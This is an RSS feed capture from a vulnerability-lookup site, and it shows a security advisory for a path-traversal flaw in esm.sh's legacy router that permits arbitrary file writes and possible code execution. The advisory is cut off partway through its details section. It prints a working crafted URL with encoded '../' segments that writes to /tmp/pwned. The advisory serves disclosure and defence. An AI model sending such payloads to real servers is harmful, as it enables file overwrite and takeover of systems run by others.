https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-05T07:57:48.195986+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-323948 EUVD-2026-323948 2026-10-05T07:57:48.200053+00:00 EUVD-2026-323948 https://cve.radiocsirt.org/vuln/fkie_cve-2026-44593 fkie_cve-2026-44593 2026-10-05T07:57:48.200093+00:00

esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

 https://cve.radiocsirt.org/vuln/ghsa-3636-h3vx-6465 GHSA-3636-h3vx-6465 — esm.sh: Legacy Route Path Traversal Can Lead to RCE 2026-10-05T07:57:48.200136+00:00

Affected: Go: github.com/esm-dev/esm.sh

### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

### Exploit

The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).

For a URL such as:

``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ```

the router concatenates the path components without sanitizing them, producing a storage key like:

``` legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ```

When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

### Details

1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ```

2. **Proxy to Legacy Server** The request is forwarded t…